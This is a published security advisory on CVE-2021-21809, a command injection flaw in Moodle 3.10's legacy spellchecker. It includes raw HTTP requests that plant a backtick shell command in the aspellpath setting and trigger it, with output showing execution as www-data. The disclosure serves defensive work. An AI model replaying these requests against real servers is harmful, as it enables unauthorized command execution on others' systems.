Talos Vulnerability Report

TALOS-2021-1277

Moodle spellchecker plugin command execution vulnerability

JUNE 22, 2021

CVE NUMBER

CVE-2021-21809

Summary

A command execution vulnerability exists in the default legacy spellchecker plugin in Moodle 3.10. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerabilities.

Tested Versions

Moodle 3.10

Product URLs

https://moodle.org/

CVSSv3 Score

8.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

Moodle is a popular free and open-source learning management system, used by 262 million education users around the world.

Moodle’s security model relies on operating system permissions to prevent arbitrary server-side command execution via the web interface. A typical Moodle installation runs as the web server’s user and according to Moodle’s documentation “It is vital that the [Moodle] files are not writeable by the web server user.” If they are, an administrator can gain code execution trivially by installing plugins through the web interface. Moodle administrators can also specify paths to system binaries, as well as upload files to the Moodle data directory (outside of the web root) via course restoration; arbitrary code execution is prevented only because uploaded files do not have the execute bit set.

To exploit the shell injection vulnerability, the administrator sets a path to the legacy server-side spellcheck binary (aspellpath) containing a backtick shell injection and sets PSpellShell as the spellchecking engine. When a server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to unsafely construct a shell_exec command. The spellchecker plugin does not have to be enabled.

Reproduction

1. Set aspellpath. This payload assumes that the Moodle data directory is /var/www/moodledata.

```
POST /moodle/admin/settings.php?section=systempaths HTTP/1.1
Host: moodle.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://moodle.example.com/moodle/admin/settings.php?section=systempaths
Content-Type: application/x-www-form-urlencoded
Content-Length: 220
Origin: https://moodle.example.com
Connection: close
Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
Upgrade-Insecure-Requests: 1

section=systempaths&action=save-
settings&sesskey=XXXXXXXXXX&return=&s__pathtophp=&s__pathtodu=&s__aspellpath=%60%2Fusr%2Fbin%2Fid+%3E+%2Fvar%2Fwww%2Fmoodledata%2Fpoc%6
0&s__pathtodot=&s__pathtogs=%2Fusr%2Fbin%2Fgs&s__pathtopython=
```

2. Set the spell engine to PSpellShell.

```
POST /moodle/admin/settings.php?section=tinymcespellcheckersettings HTTP/1.1
Host: moodle.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://moodle.example.com/moodle/admin/settings.php?section=tinymcespellcheckersettings
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
Origin: https://moodle.example.com
Connection: close
Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
Upgrade-Insecure-Requests: 1

section=tinymcespellcheckersettings&action=save-
settings&sesskey=XXXXXXXXXX&return=&s_tinymce_spellchecker_spellengine=PSpellShell&s_tinymce_spellchecker_spelllanguagelist=%2BEnglish%
3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3De
s%2CSwedish%3Dsv
```

3. Invoke the spellcheck using either checkWords or getSuggestions. This step can be performed unauthenticated.

```
POST /moodle/lib/editor/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
Host: moodle.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: https://moodle.example.com
Connection: close

{"id":"c0","method":"checkWords","params":["en",["teh"]]}
```

Results:

```
root@moodle:~# cat /var/www/moodledata/poc
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Timeline

2021-03-26 - Vendor Disclosure

2021-04-21 - Vendor updated documentation to suggest best practices after installation

2021-06-22 - Public Release

CREDIT

Discovered by Adam Reiser of Cisco ASIG.
